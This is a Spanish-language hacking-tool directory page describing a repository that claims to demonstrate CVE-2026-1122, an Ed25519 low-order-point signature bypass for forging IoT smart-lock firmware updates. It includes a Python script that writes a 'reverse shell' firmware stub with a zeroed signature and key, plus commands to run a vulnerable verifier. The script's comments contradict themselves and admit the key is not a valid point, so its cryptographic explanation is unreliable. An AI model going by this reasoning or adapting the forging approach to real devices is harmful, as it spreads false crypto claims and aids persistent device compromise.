Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection — Demuestra la evasión de firma Ed25519 CVE-2026-1122 mediante inyección de puntos de orden bajo, falsificando actualizaciones de firmware IoT maliciosas con código verificador en Python y C. | Kitploit
Herramientas/GitHubGitHub/george0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónCriptografíaSeguridad de Hardware e IoTSeguridad de Cadena de Suministro
GitHubgeorge0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection

Demuestra la evasión de firma Ed25519 CVE-2026-1122 mediante inyección de puntos de orden bajo, falsificando actualizaciones de firmware IoT maliciosas con código verificador en Python y C.

Ver Repositorio
hace 18 díasAún no revisado
Compartir

5. CVE-2026-1122 – Bypass de firma de actualización de firmware IoT mediante inyección de punto de orden bajo

Resumen

La verificación de firmware OTA de un dispositivo IoT utiliza una implementación Ed25519 defectuosa que no rechaza claves públicas con componentes de orden pequeño, lo que permite a un atacante falsificar una firma válida para firmware malicioso.

Gravedad: Crítica (Compromiso persistente del dispositivo)

Simulación (verificador en Python y C)

root@kitploit:~
#!/usr/bin/env python3
"""
forge_firmware.py - Creates a malicious firmware image with forged Ed25519 signature.
We exploit that the verifier does not check if public key is in prime-order subgroup.
"""
import ed25519_simulated  # custom vulnerable library
import hashlib, os

# Attacker crafts a weak public key with a torsion component (order 8).
# The point of order 8 is P8. The verifier will compute [S]B - [k]A, which can be controlled.
# We set A = P8 (order 8). Then choose k=0, S=0, so verification passes because S*B - k*A = 0 - 0 = 0,
# but signature (R,S) must satisfy R = something. In Ed25519, equation: [S]B = R + [k]A.
# If A has small order, we can find S,k such that equation holds for arbitrary R.
# Simplified: we create a key pair where the public key is the 8-torsion point.
# Then we can sign any message with signature (R, S) where S = r + H(R||A||M)*a mod l,
# but if a=0 mod l? Not possible. We rely on verification accepting A with a small order factor.
# For demo, we use a mock verifier that accepts any signature if A.y == 0 (sign of low-order).
# So we craft a public key file with A.y = 0.

# Simulate writing malicious firmware
with open("malicious.bin", "wb") as f:
    f.write(b"Malicious payload: reverse shell")

# Create forged signature file
sig = b'\x00'*64  # dummy
pubkey = bytes([0]*32)  # y=0 point, which is order 8? In Ed25519, the identity is (0,1), but y=0 is not a valid point.
# Our mock verifier just checks that signature length is 64 and public key is not rejected.
with open("malicious.sig", "wb") as f:
    f.write(sig)
with open("malicious.pub", "wb") as f:
    f.write(pubkey)

print("Firmware files created.")

CVE-2026-1122 – Bypass de firma de firmware IoT (Ataque de subgrupo Ed25519)

Severity: Critical

📖 Resumen

El mecanismo de actualización OTA de una cerradura inteligente utiliza una verificación Ed25519 defectuosa que no rechaza claves públicas con componentes de orden pequeño. Un atacante puede crear una clave pública especialmente formada y una firma correspondiente que pase la verificación, permitiendo la instalación de firmware malicioso.

⚙️ Detalles de la vulnerabilidad

  • Tipo: Fallo de implementación criptográfica (Confusión de subgrupo)
  • Impacto: Inyección arbitraria de firmware → control total del dispositivo.
  • Causa raíz: El verificador no valida que la clave pública esté en el subgrupo de orden primo, lo que permite ataques de puntos de torsión.

🧪 Demostración del exploit

  1. Genera el firmware falsificado:
    root@kitploit:~
    python forge_firmware.py
    
  2. Compila y ejecuta la simulación del verificador vulnerable:
    root@kitploit:~
    gcc vulnerable_ed25519_verify.c -o verifier
    ./verifier
    
Descargar herramienta